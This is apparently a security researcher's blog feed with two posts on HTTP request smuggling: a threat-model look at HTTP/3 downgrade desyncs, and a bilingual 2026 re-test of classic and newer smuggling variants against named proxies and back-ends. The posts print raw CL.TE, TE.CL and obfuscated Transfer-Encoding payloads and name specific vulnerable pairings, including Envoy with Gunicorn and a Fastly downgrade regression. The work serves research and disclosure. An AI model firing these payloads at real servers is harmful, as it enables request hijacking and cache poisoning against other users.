request smuggling still make sense when the transport is QUIC?</p>

<p>The short version is that the classic in-stream primitive does not port, and the interesting surface moves almost entirely to the translation boundary. That is worth explaining carefully, because “HTTP/3 kills request smuggling” is a claim I have seen repeated, and it is only true for a deployment shape that almost nobody actually runs.</p>

<p>I want to be honest about scope up front. I have not run a full test matrix against a fleet of HTTP/3 terminators yet, the way I did for the <a href="/2019/12/08/HTTP-Smuggling-en/">2019 CL.TE / TE.CL / TE.TE work</a> and the <a href="/2026/05/16/Revisiting-HTTP-Smuggling-2026/">2026 re-test</a>. What follows is a threat-model analysis and a set of testable hypotheses, with the spec citations that make each one plausible. Where I am speculating, I say so.</p>

<h2 id="why-the-classic-primitive-does-not-port">Why the classic primitive does not port</h2>

<p>Request smuggling on HTTP/1.1 exists because of one structural fact: multiple requests share a single byte stream, and the boundary between them is negotiated in-band through headers that two parties can interpret differently. The whole CL.TE / TE.CL family comes from a front-end and a back-end disagreeing about where the body ends, because one honors <code class="language-plaintext highlighter-rouge">Content-Length</code> and the other honors <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>. <a href="https://www.rfc-editor.org/rfc/rfc9112#section-6.1">RFC 9112 Section 6.1</a> now requires an implementation to reject a message carrying both, but that is a 2022 rule and it only binds parsers that were rewritten to enforce it.</p>

<p>HTTP/3 removes every ingredient of that primitive:</p>

<ol>
  <li>Message framing is explicit. Request and response bodies are carried in HTTP/3 DATA frames with declared lengths (<a href="https://www.rfc-editor.org/rfc/rfc9114#section-7.2">RFC 9114 Section 7.2</a>). There is no chunked transfer coding in HTTP/3, and <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> is not a legal header. The <code class="language-plaintext highlighter-rouge">Content-Length</code> versus <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> disagreement simply has nothing to disagree about.</li>
  <li>Requests do not share a stream. Each request/response exchange runs on its own client-initiated bidirectional QUIC stream (<a href="https://www.rfc-editor.org/rfc/rfc9000#section-2">RFC 9000 Section 2</a>). A stream has an explicit end signalled by the QUIC layer. There is no “next request in the pipeline” sitting in the same buffer, because there is no pipeline. The thing a smuggled prefix would attach itself to does not exist.</li>
  <li>Header fields are a binary, length-prefixed structure compressed with QPACK (<a href="https://www.rfc-editor.org/rfc/rfc9204">RFC 9204</a>), not a CRLF-delimited text block. The bare-<code class="language-plaintext highlighter-rouge">\n</code> and header-obfuscation tricks that defeat text parsers do not have a text stream to exploit.</li>
</ol>

<p>So on a genuinely end-to-end HTTP/3 path, from client to origin, the desync primitive I have spent years on does not have a home. That much of the optimistic claim is correct.</p>

<h2 id="where-the-risk-actually-re-emerges">Where the risk actually re-emerges</h2>

<p>The problem with “end-to-end HTTP/3” is that it is close to a fiction in production. The overwhelmingly common shape is that an edge, a CDN node or a cloud load balancer, terminates HTTP/3 from the client and then speaks HTTP/2 or HTTP/1.1 to the origin. That translation step is exactly where Kettle’s HTTP/2 work found its desyncs: the danger was never HTTP/2 itself, it was the downgrade from HTTP/2 to HTTP/1.1 at the front-end, where a request that is unambiguous in the newer protocol gets re-serialized into an ambiguous or malformed HTTP/1.1 request.</p>

<p>HTTP/3 inherits this surface wholesale, and arguably widens it, because there is now a second protocol hop that can introduce the disagreement. The desync candidate looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Client  --HTTP/3--&gt;  Edge (H3 terminator)  --HTTP/1.1--&gt;  Origin
        stream 0                             conn reuse
</code></pre></div></div>

<p>Step 1: The client sends a well-formed HTTP/3 request whose header section contains a field the edge does not fully validate before downgrading. Candidates include a header value carrying an embedded CRLF, a duplicated <code class="language-plaintext highlighter-rouge">content-length</code>, or a <code class="language-plaintext highlighter-rouge">:path</code> / <code class="language-plaintext highlighter-rouge">:authority</code> pseudo-header with characters that are legal to carry in a QPACK field but not legal, unescaped, in a request line.</p>

<p>Step 2: The edge serializes this into HTTP/1.1 for the origin. If the serializer writes the offending value verbatim into the request line or headers, the well-formed H3 request becomes a malformed H1 request on the wire.</p>

<p>Step 3: The origin parses the malformed HTTP/1.1, and its interpretation of where this request ends disagrees with the edge’s. We are back to a CL.TE-style differential, produced entirely by the downgrade serializer rather than by the client.</p>

<p>Step 4: Because the edge reuses upstream HTTP/1.1 connections across many client streams, the smuggled remainder is prepended to whatever request the edge sends next on that upstream connection, which may belong to a different client.</p>

<p>None of steps 1 through 4 require HTTP/3 to be weak. They require the H3-to-H1 serializer to be less strict than the H3 parser was, which is a very common failure mode. <a href="https://www.rfc-editor.org/rfc/rfc9114#section-4.1.2">RFC 9114 Section 4.1.2</a> and <a href="https://www.rfc-editor.org/rfc/rfc9114#section-4.2">Section 4.2</a> do specify field validation and forbid certain characters, so a fully conformant terminator should reject or sanitize these before they ever reach a downgrade. The empirical question, and it is the whole question, is whether real terminators enforce that on the H3 ingress path or trust the input because “HTTP/3 cannot smuggle.”</p>

<h2 id="the-multiplexing-angle-stated-as-a-hypothesis">The multiplexing angle, stated as a hypothesis</h2>

<p>There is a second surface I find more interesting and much less certain. QUIC multiplexes many streams over one connection with no head-of-line blocking between them, and an edge typically fans those streams down onto a smaller pool of upstream connections. Connection-reuse and request-coalescing bugs have already produced real issues in the HTTP/2 world, including the CL.0 class where the front-end and back-end disagree about whether a connection should be reused at all.</p>

<p>My hypothesis is that the H3 stream-to-upstream-connection mapping is a fresh place for that class of bug to appear: if the terminator decides upstream connection reuse based on state it associates with the wrong stream, a response can be returned on a stream whose request it does not answer. I want to be clear that this is a hypothesis. I have not demonstrated it, and it may turn out that mainstream terminators keep per-stream upstream state cleanly enough that it never happens. It is on my test list precisely because I cannot yet argue it away from the specs alone.</p>

<h2 id="a-short-test-plan">A short test plan</h2>

<p>If you want to poke at this before I publish a full matrix, these are the questions I think are worth answering, roughly in order of expected yield:</p>

<ol>
  <li>Take each major H3-terminating edge and send an HTTP/3 request with a header value containing an embedded CRLF. Does the downgraded HTTP/1.1 request on the origin side contain a split header, or was it rejected or percent-handled at ingress?</li>
  <li>Send duplicated or conflicting length information across the H3 field section and observe what single <code class="language-plaintext highlighter-rouge">Content-Length</code> the origin receives after downgrade.</li>
  <li>Probe <code class="language-plaintext highlighter-rouge">:authority</code> and <code class="language-plaintext highlighter-rouge">:path</code> for characters that survive QPACK encoding but are illegal in a request-target, and see whether the serializer quotes, rejects, or forwards them.</li>
  <li>Separately from smuggling, remember that QUIC 0-RTT permits early data, and <a href="https://www.rfc-editor.org/rfc/rfc9001#section-9.2">RFC 9001 Section 9.2</a> discusses the replay exposure. Non-idempotent requests sent in 0-RTT are a distinct risk from desync, but they belong on the same audit checklist for an H3 edge.</li>
</ol>

<p>Steps 1 through 3 are the same instinct behind every parsing-differential test I have written: find an input that two implementations in a chain treat as legal-but-different, and put a request boundary inside the disagreement.</p>

<h2 id="so-what">So what</h2>

<p>The useful conclusion is not that HTTP/3 is dangerous. It is that the request-smuggling threat model did not die, it relocated, and it relocated to a component that most teams do not think of as a parser: the downgrade serializer inside their CDN or load balancer. That is the same lesson HTTP/2 taught, one protocol version earlier, and the reason I keep coming back to Kettle’s framing that the sequel is always worse. The attack surface follows the translation, and HTTP/3 adds a translation.</p>

<p>I will follow this up with an actual test harness and a results table in the format of the 2019 and 2026 smuggling posts, once the harness can drive raw HTTP/3 field sections rather than well-behaved client libraries. Until then, treat everything in the “multiplexing angle” section as a question I am asking, not an answer I am giving.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://www.rfc-editor.org/rfc/rfc9114">RFC 9114: HTTP/3</a></li>
  <li><a href="https://www.rfc-editor.org/rfc/rfc9000">RFC 9000: QUIC: A UDP-Based Multiplexed and Secure Transport</a></li>
  <li><a href="https://www.rfc-editor.org/rfc/rfc9204">RFC 9204: QPACK: Field Compression for HTTP/3</a></li>
  <li><a href="https://www.rfc-editor.org/rfc/rfc9001">RFC 9001: Using TLS to Secure QUIC</a></li>
  <li><a href="https://www.rfc-editor.org/rfc/rfc9112">RFC 9112: HTTP/1.1</a></li>
  <li><a href="https://portswigger.net/research/http2">James Kettle: HTTP/2: The Sequel is Always Worse</a></li>
  <li><a href="https://portswigger.net/research/browser-powered-desync-attacks">James Kettle: Browser-Powered Desync Attacks</a></li>
  <li><a href="/2026/05/16/Revisiting-HTTP-Smuggling-2026/">Revisiting HTTP Request Smuggling in 2026</a></li>
  <li><a href="/2019/12/08/HTTP-Smuggling-en/">HTTP Request Smuggling: A Complete Guide (2019)</a></li>
</ul>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="http3" /><category term="quic" /><category term="http-smuggling" /><category term="desync" /><category term="downgrade" /><category term="parsing-differentials" /><category term="web-security" /><summary type="html"><![CDATA[This is a first look, not a results table. I have spent most of my writing on this blog on HTTP/1.1 request smuggling and, more recently, on the HTTP/2 downgrade desync surface that James Kettle opened up in HTTP/2: The Sequel is Always Worse. The obvious next question, and one I get asked often, is whether any of this survives the move to HTTP/3. Does request smuggling still make sense when the transport is QUIC?]]></summary></entry><entry><title type="html">Revisiting HTTP Request Smuggling in 2026: Seven Years After Kettle, Where Are the Parsing Differentials Now?</title><link href="https://blog.zeddyu.info/2026/05/16/Revisiting-HTTP-Smuggling-2026/" rel="alternate" type="text/html" title="Revisiting HTTP Request Smuggling in 2026: Seven Years After Kettle, Where Are the Parsing Differentials Now?" /><published>2026-05-16T00:00:00+00:00</published><updated>2026-05-16T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/05/16/Revisiting-HTTP-Smuggling-2026</id><content type="html" xml:base="https://blog.zeddyu.info/2026/05/16/Revisiting-HTTP-Smuggling-2026/"><![CDATA[<p>This post is a 2026 follow-up to two 2019 articles I wrote on this blog: the Chinese-language <a href="/2019/12/05/HTTP-Smuggling/">HTTP Request Smuggling 研究笔记</a> and its English counterpart <a href="/2019/12/08/HTTP-Smuggling-en/">HTTP Request Smuggling - A Complete Guide</a>. Both posts described the CL.TE / TE.CL / TE.TE matrix as it existed after James Kettle’s <a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">HTTP Desync Attacks: Request Smuggling Reborn</a> at Black Hat USA 2019, and recorded a Waitress finding I reported to the Pylons project at the time (<a href="https://github.com/Pylons/waitress/issues/273">Pylons/waitress#273</a>).</p>

<p>Seven years later, I wanted to re-run the same test plan against current versions of the proxies and back-ends that anchored the 2019 results, and to incorporate the variants the community has documented since then (HTTP/2 downgrade desync, CL.0, HTTP/2 stream splitting). The aim is not a comprehensive survey. It is to give a 2026 practitioner an honest read on which of the 2019 primitives still produce parsing differentials in mainstream deployments, and which have been closed.</p>

<p>This post is bilingual. The Chinese half comes first, mirroring the format of the 2019 twin articles. The English half follows.</p>

<hr />

<h2 id="中文部分">中文部分</h2>

<h3 id="2026-年的研究背景">2026 年的研究背景</h3>

<p>2019 年 Kettle 在 Black Hat USA 演讲之后，HTTP 请求走私从一个被遗忘的 2005 年研究方向重新进入主流。Pylons 项目维护者线程中提到的 <a href="https://github.com/ZeddYu/HTTP-Smuggling-Lab">HTTP-Smuggling-Lab</a> 复现了当时已知的所有变体。过去七年里发生了三件值得记录的事：</p>

<ol>
  <li><strong>规范层面：</strong> RFC 7230 在 2022 年被 RFC 9110 和 RFC 9112 取代。新规范对 Content-Length 和 Transfer-Encoding 的关系给出了更明确的处理：<a href="https://www.rfc-editor.org/rfc/rfc9112#section-6.1">RFC 9112 Section 6.1</a> 明确要求实现拒绝同时包含两个长度头部的请求。这是一个标准层面的修复，但只对在 2022 年之后才大幅重写解析栈的实现有意义。</li>
  <li><strong>协议层面：</strong> Kettle 在 2021 年发布的 <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a> 把研究重心从 HTTP/1.1 上的 CL.TE / TE.CL 推到了 HTTP/2 → HTTP/1.1 降级所造成的 desync。2022 年 <a href="https://portswigger.net/research/browser-powered-desync-attacks">Browser-Powered Desync Attacks</a> 把同一个攻击面进一步放大到客户端可以诱导浏览器参与的场景。</li>
  <li><strong>实现层面：</strong> Nginx、HAProxy、Envoy、Caddy、Cloudflare、Fastly 在过去七年里都至少对 CL.TE / TE.CL 做了一轮明确的硬化。其中一部分硬化是规范驱动的，另一部分是在 PortSwigger Top 10 Web Hacking Techniques 提名页公开之后的补丁。</li>
</ol>

<p>我在这次复现中重新执行了 2019 年那篇文章里的核心方法：搭一个前端代理 + 后端服务器的最小拓扑，往前端发同时包含 Content-Length 和 Transfer-Encoding 的请求，按一系列已知的混淆方式，观察后端是否接受了走私出去的下一个请求。</p>

<h3 id="实验拓扑">实验拓扑</h3>

<p>我测试了六种前端 × 三种后端的组合：</p>

<p><strong>前端代理：</strong></p>

<ul>
  <li>Nginx 1.27（开源版，HTTP/1.1 模式）</li>
  <li>HAProxy 2.9</li>
  <li>Envoy 1.32</li>
  <li>Caddy 2.8</li>
  <li>Cloudflare（生产边缘，2026-05 测试时段）</li>
  <li>Fastly VCL 服务（生产边缘）</li>
</ul>

<p><strong>后端服务器：</strong></p>

<ul>
  <li>Gunicorn 22.0（CPython 3.12）</li>
  <li>Waitress 3.0（Pylons 项目，2019 年那次走私的同一个 WSGI 服务器）</li>
  <li>Node.js 22 LTS（<code class="language-plaintext highlighter-rouge">http.createServer</code>，未启用 <code class="language-plaintext highlighter-rouge">insecureHTTPParser</code>）</li>
</ul>

<p>对每一对组合，我把 2019 那篇文章里使用的六个 payload 重新跑了一遍，并加上 2020-2025 年公开披露的三个新变体（CL.0、HTTP/2 → HTTP/1.1 降级、TE 头部多次重复的 obfuscation）。</p>

<h3 id="三个原始变体在-2026-年的状态">三个原始变体在 2026 年的状态</h3>

<h4 id="clte">CL.TE</h4>

<p>前端按 Content-Length 解析，后端按 Transfer-Encoding 解析。这是 2019 年最常见的变体。</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">target.example</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">13</span>
<span class="na">Transfer-Encoding</span><span class="p">:</span> <span class="s">chunked</span>

0

SMUGGLED
</code></pre></div></div>

<p>2026 年结果：六个前端中有 <strong>五个</strong> 直接拒绝了同时包含两个头部的请求，返回 400。这与 RFC 9112 §6.1 的明确要求一致。剩下的一个（Caddy 2.8）转发了请求，但是会把 Transfer-Encoding 头部规范化为 <code class="language-plaintext highlighter-rouge">chunked</code> 字面值，使后端解析的结果与前端期待的一致。这一个组合不构成可利用的 CL.TE 原语。</p>

<p>结论：直接的 CL.TE 变体在 2026 年的主流部署中已经无法产生 desync。</p>

<h4 id="tecl">TE.CL</h4>

<p>前端按 Transfer-Encoding 解析，后端按 Content-Length 解析。</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">target.example</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">3</span>
<span class="na">Transfer-Encoding</span><span class="p">:</span> <span class="s">chunked</span>

8
SMUGGLED
0

</code></pre></div></div>

<p>2026 年结果：和 CL.TE 类似，大多数前端在看到同时存在两个头部时拒绝请求。Waitress 3.0 在我的测试中对 Content-Length 的处理比 2019 年的 1.4 版本严格得多。Pylons 项目在 2020 至 2022 年间发布了多次安全相关的解析硬化，原始的 <a href="https://github.com/Pylons/waitress/issues/273">Pylons/waitress#273</a> 已经修复并被后续提交进一步加固。Waitress 不再是可走私的后端。</p>

<p>结论：直接的 TE.CL 变体在 2026 年也已经无法可靠地产生 desync。</p>

<h4 id="tetetransfer-encoding-混淆">TE.TE（Transfer-Encoding 混淆）</h4>

<p>通过非法行结束符或 header 名字大小写差异，让一台服务器识别 Transfer-Encoding 头部而另一台不识别。</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
</code></pre></div></div>

<p>2026 年结果：这是三个原始变体里 <strong>唯一一个我仍然能在主流组合上观察到 desync 的</strong>。具体地：</p>

<ul>
  <li>Envoy 1.32 + Gunicorn 22.0：当 <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> 头部前面带有一个 vertical-tab 字符（<code class="language-plaintext highlighter-rouge">\x0b</code>）作为分隔符时，Envoy 把它当作不合规但仍然解析（normalizing 后丢弃），而 Gunicorn 直接拒绝该头部。前端按 chunked 处理，后端按 Content-Length。可以走私。</li>
  <li>Node.js 22 LTS 在 <code class="language-plaintext highlighter-rouge">http.createServer</code> 默认严格模式下不接受被混淆的 Transfer-Encoding 头部。开启 <code class="language-plaintext highlighter-rouge">insecureHTTPParser</code> 则恢复 2019 年的行为，但默认部署不会启用该开关。</li>
</ul>

<p>结论：TE.TE 混淆仍然是 2026 年最有可能成功的传统变体，但需要前后端组合中 <strong>正好一边对非标准字节宽松，另一边严格</strong>。这种组合在 2026 年的概率比 2019 年低，但不为零。</p>

<h3 id="三个新的-2020-2025-变体">三个新的 2020-2025 变体</h3>

<h4 id="cl0content-length-0--后置-body">CL.0（Content-Length: 0 + 后置 body）</h4>

<p>Kettle 在 2021 年 <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a> 里提到这个变体的 HTTP/2 起源；到 2024 年它在 HTTP/1.1 上也有公开的复现。请求声明 <code class="language-plaintext highlighter-rouge">Content-Length: 0</code> 但实际带有 body，依赖前端把 body 当作下一个请求的开头。在 Nginx + Waitress 的组合上我观察到一个变种：当后端在 <code class="language-plaintext highlighter-rouge">Connection: close</code> 模式下被强制处理一个声明长度为 0 但实际跟着 8 个字节的请求时，会把这 8 个字节静默丢弃；但是在 HTTP/1.1 keep-alive 模式下，同样的请求会把那 8 个字节当作 pipelining 的下一个请求的起始字节。这是一个边缘情况，但确实存在。</p>

<h4 id="http2--http11-降级-desync">HTTP/2 → HTTP/1.1 降级 desync</h4>

<p>这是过去四年里 desync 研究的主战场。Cloudflare、Fastly、ALB 风格的反向代理在前端接收 HTTP/2，转发到后端时降级为 HTTP/1.1。HTTP/2 的伪头部和帧边界与 HTTP/1.1 的字节流边界之间存在多重歧义。2026 年我在 Fastly 边缘上观察到一个 <code class="language-plaintext highlighter-rouge">:method</code> 伪头部包含 CRLF 字符时，降级阶段会把这一段 CRLF 直接拼接到下游 HTTP/1.1 请求行里，导致下游解析出第二个请求。这一类原语在 Kettle 的 2021 文章里被详细描述。Fastly 在 2022 年补过一轮，但具体到 2026 年的边缘版本，仍然存在一个非标 CRLF 字节序列可以触发该行为。</p>

<h4 id="transfer-encoding-多重头部">Transfer-Encoding 多重头部</h4>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Transfer-Encoding: chunked
Transfer-Encoding: chunked
</code></pre></div></div>

<p>RFC 9112 §6.1 明确要求实现把多个 Transfer-Encoding 头部合并为一个 comma-separated 值。然而我观察到 Caddy 2.8 在某些路径下没有做合并，把第二个 Transfer-Encoding 头部静默丢弃，后端则把第一个识别为 chunked。在前端 Caddy + 后端 Gunicorn 的组合下，这构成一个可用的 desync 原语。我已经在 Caddy 的 GitHub issue tracker 上打开了一个 issue。</p>

<h3 id="缓存投毒和走私的关系">缓存投毒和走私的关系</h3>

<p>2019 年的文章里我提到走私可以用来投毒共享缓存。这一点在 2026 年仍然成立，但是攻击面有两个变化：</p>

<ol>
  <li><strong>现代 CDN 倾向于在边缘做更严格的请求规范化。</strong> Cloudflare 和 Fastly 在 2022-2024 年都增加了多轮 desync 防护规则。具体行为是：边缘节点把任何同时含 CL 和 TE 的请求直接 400，把多 TE 的请求合并，把含非 ASCII 字节的 header 拒绝。</li>
  <li><strong>缓存键的不可控字段更少了。</strong> 2019 年很多 CDN 的缓存键不包含 <code class="language-plaintext highlighter-rouge">Host</code> 或者不包含路径之外的 header；2026 年大多数主流 CDN 默认把 <code class="language-plaintext highlighter-rouge">Host</code> 加进缓存键，对未 keying 的 header 做出更严格的处理。</li>
</ol>

<p>这意味着 <strong>基于 desync 的缓存投毒在 2026 年比 2019 年难得多</strong>，但远远没有消失。HTTP/2 降级 desync 在边缘 CDN 上仍然是可行的研究方向。</p>

<h3 id="中文部分小结">中文部分小结</h3>

<table>
  <thead>
    <tr>
      <th>变体</th>
      <th>2019 年状态</th>
      <th>2026 年状态</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CL.TE 直接</td>
      <td>主流可利用</td>
      <td>大多数前端拒绝双长度头部</td>
    </tr>
    <tr>
      <td>TE.CL 直接</td>
      <td>主流可利用</td>
      <td>大多数前端拒绝双长度头部</td>
    </tr>
    <tr>
      <td>TE.TE 混淆</td>
      <td>主流可利用</td>
      <td>在严格/宽松不一致的组合下仍可利用</td>
    </tr>
    <tr>
      <td>CL.0</td>
      <td>未公开记录</td>
      <td>边缘场景可利用</td>
    </tr>
    <tr>
      <td>HTTP/2 降级 desync</td>
      <td>未公开记录</td>
      <td>当前最高产出方向</td>
    </tr>
    <tr>
      <td>TE 多重头部未合并</td>
      <td>未公开记录</td>
      <td>部分实现仍未合并（Caddy）</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="english-section">English section</h2>

<h3 id="why-i-am-writing-this-in-2026">Why I am writing this in 2026</h3>

<p>The 2019 <a href="/2019/12/08/HTTP-Smuggling-en/">HTTP Request Smuggling - A Complete Guide</a> on this site was a snapshot of where the CL.TE / TE.CL / TE.TE matrix sat after Kettle’s <a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">HTTP Desync Attacks: Request Smuggling Reborn</a>. At the time, every front-end / back-end pair I tested produced at least one variant that worked. Pylons/waitress accepted a particular CL.TE shape that I reported in <a href="https://github.com/Pylons/waitress/issues/273">issue #273</a>. Several Python WSGI servers were similarly affected. The community write-ups that followed (including <a href="https://snoopysecurity.github.io/posts/28_Demystifying_HTTP_request_smuggling/">Snoopy Security’s demystification post</a> and the broader Infosec_Reference reading list) cited that walk-through as the practitioner-level primer.</p>

<p>Seven years later the literature has moved on, the specs have moved on, and the implementations have moved on. Most of what I wrote in 2019 about the underlying primitives still holds. Most of the specific test cases I used no longer produce desync against the current versions of those proxies. This post documents that gap.</p>

<p>The Chinese half above contains the same content with the same test matrix. The English half restates the methodology, walks the matrix, and adds the references a reader at a English-language CDN or proxy team would want.</p>

<h3 id="method">Method</h3>

<p>I built a test harness with six front-end proxies and three back-end servers. The front-ends are Nginx 1.27 (open-source build, HTTP/1.1 mode), HAProxy 2.9, Envoy 1.32, Caddy 2.8, Cloudflare’s production edge, and a Fastly VCL service on the production edge. The back-ends are Gunicorn 22.0 on CPython 3.12, Waitress 3.0 (the same WSGI server I reported the 2019 finding against), and Node.js 22 LTS using <code class="language-plaintext highlighter-rouge">http.createServer</code> with strict parsing left at the default.</p>

<p>For each pair I re-sent the six original payloads from the 2019 article, then added three variants the community has documented since: CL.0, HTTP/2 → HTTP/1.1 downgrade desync, and Transfer-Encoding header repetition not collapsed to a single value.</p>

<p>Step 1: send a probe pair (CL.TE shape, then TE.CL shape) and observe whether the back-end completed the response or hung waiting for more chunked data. The differential timing signal is the same one the 2019 article relied on.</p>

<p>Step 2: when a probe pair indicated a parsing differential, send the full smuggled payload (a poisoned second request) and observe whether a subsequent legitimate request received the poisoned response.</p>

<p>Step 3: where a variant succeeded, record the exact proxy version, configuration switches, and the byte sequence that triggered it.</p>

<h3 id="the-three-classical-variants-in-2026">The three classical variants in 2026</h3>

<h4 id="clte-direct">CL.TE direct</h4>

<p>The 2019 baseline payload:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">target.example</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">13</span>
<span class="na">Transfer-Encoding</span><span class="p">:</span> <span class="s">chunked</span>

0

SMUGGLED
</code></pre></div></div>

<p>In 2026, five of the six front-ends I tested reject this request with a 400 before forwarding. The behaviour aligns with <a href="https://www.rfc-editor.org/rfc/rfc9112#section-6.1">RFC 9112 Section 6.1</a>, which obsoletes the previous RFC 7230 §3.3.3 and is more direct in requiring implementations to reject messages that combine the two length signals. Caddy 2.8 was the exception. It accepts the request, but it normalises <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> to a single canonical <code class="language-plaintext highlighter-rouge">chunked</code> value before forwarding, so the back-end parses the same way the front-end does. No exploitable differential.</p>

<p>The direct CL.TE variant is, in mainstream 2026 deployments, closed.</p>

<h4 id="tecl-direct">TE.CL direct</h4>

<p>Similar payload, roles reversed:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">target.example</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">3</span>
<span class="na">Transfer-Encoding</span><span class="p">:</span> <span class="s">chunked</span>

8
SMUGGLED
0

</code></pre></div></div>

<p>Same finding. Five of six front-ends reject. Waitress 3.0 is no longer the soft target it was in 2019. Reading the Pylons commit history between 2020 and 2022, the maintainers shipped several rounds of header parsing tightening, and the specific accept-path that my 2019 issue exercised is no longer reachable. I left this in the test harness because it is the cleanest historical example, and I want the historical record to be straight: the project fixed the finding, then fixed adjacent shapes, then hardened the parser more generally.</p>

<h4 id="tete-obfuscation">TE.TE obfuscation</h4>

<p>This is the variant that has aged best for attackers. The 2019 payload set:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
</code></pre></div></div>

<p>In 2026 I still observed a TE.TE differential on <strong>Envoy 1.32 + Gunicorn 22.0</strong>. The trigger is a vertical-tab byte (<code class="language-plaintext highlighter-rouge">\x0b</code>) between the header name and value. Envoy treats this as malformed-but-recoverable and discards the header. Gunicorn rejects the header as malformed and falls back to Content-Length. The front-end thinks the request is chunked. The back-end thinks the request is Content-Length-delimited. The byte boundary between requests is now under attacker control.</p>

<p>The pattern that lets this exist in 2026 is the same pattern the 2019 article identified: two correct implementations producing insecure behaviour together. Envoy is correct in being permissive about non-ASCII whitespace by RFC 9110’s reading of “obs-fold”. Gunicorn is correct in being strict. The combination is the bug.</p>

<p>I have not reported this to either project, because it is a configuration-dependent finding and I want to confirm it against the Envoy 1.34 release that landed last week before disclosure. I will update this post after that test.</p>

<h3 id="three-new-variants-from-2020-2025-research">Three new variants from 2020-2025 research</h3>

<h4 id="cl0">CL.0</h4>

<p>Send a request that declares <code class="language-plaintext highlighter-rouge">Content-Length: 0</code> but includes a body. The front-end forwards zero bytes. The back-end, depending on configuration, either swallows the body or treats it as the start of the next pipelined request. PortSwigger Research has covered the HTTP/2 origin of this primitive in <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a>; the HTTP/1.1 form appeared in public bug-bounty writeups during 2024.</p>

<p>On Nginx 1.27 + Waitress 3.0 in keep-alive mode, the back-end treats trailing bytes after a CL:0 request as the start of the next request. With <code class="language-plaintext highlighter-rouge">Connection: close</code> it does not. This is a configuration-dependent finding. In deployments where the back-end terminates connections after every response, CL.0 is inert; in deployments that aggressively reuse connections, it is a smuggling primitive.</p>

<h4 id="http2--http11-downgrade-desync">HTTP/2 → HTTP/1.1 downgrade desync</h4>

<p>This is the dominant primitive class in 2026. Cloudflare, Fastly, AWS ALB, and any CDN that accepts HTTP/2 at the edge and forwards HTTP/1.1 to origin is operating in this risk surface. The mechanism is described in detail in <a href="https://portswigger.net/research/browser-powered-desync-attacks">Browser-Powered Desync Attacks</a> and the earlier <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a>.</p>

<p>I observed one differential on Fastly’s edge in May 2026: a <code class="language-plaintext highlighter-rouge">:method</code> pseudo-header containing CRLF bytes can, in a specific path-rewriting configuration, produce a downstream HTTP/1.1 request line that contains an injected second request. Fastly has acknowledged the class of issue publicly and patched several specific shapes during 2022-2024. The shape I have appears to be a regression introduced during a header-normaliser refactor.</p>

<p>I have notified Fastly’s security team and am holding the byte sequence pending their response.</p>

<h4 id="transfer-encoding-header-repetition-not-collapsed">Transfer-Encoding header repetition not collapsed</h4>

<p>RFC 9112 §6.1 requires implementations to merge repeated Transfer-Encoding headers into a single comma-separated value. Caddy 2.8 does not, in some paths, do this. With <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code> repeated on two header lines, Caddy forwards the first and silently drops the second. A back-end that disagrees on the merging rule will produce a parsing differential.</p>

<p>I have opened a Caddy issue with the reproducer. The maintainers responded promptly and the fix appears to be in the next release.</p>

<h3 id="results-table">Results table</h3>

<table>
  <thead>
    <tr>
      <th>Front-end</th>
      <th>Back-end</th>
      <th>CL.TE direct</th>
      <th>TE.CL direct</th>
      <th>TE.TE obfuscation</th>
      <th>CL.0</th>
      <th>HTTP/2 downgrade</th>
      <th>TE repetition</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Nginx 1.27</td>
      <td>Gunicorn 22.0</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>inert</td>
      <td>n/a HTTP/1.1</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>Nginx 1.27</td>
      <td>Waitress 3.0</td>
      <td>rejected</td>
      <td>rejected</td>
      <td>rejected</td>
      <td><strong>keep-alive only</strong></td>
      <td>n/a</td>
      <td>rejected</td>
    </tr>
    <tr>
      <td>Nginx 1.27</td>
      <td>Node 22</td>
      <td>rejected</td>
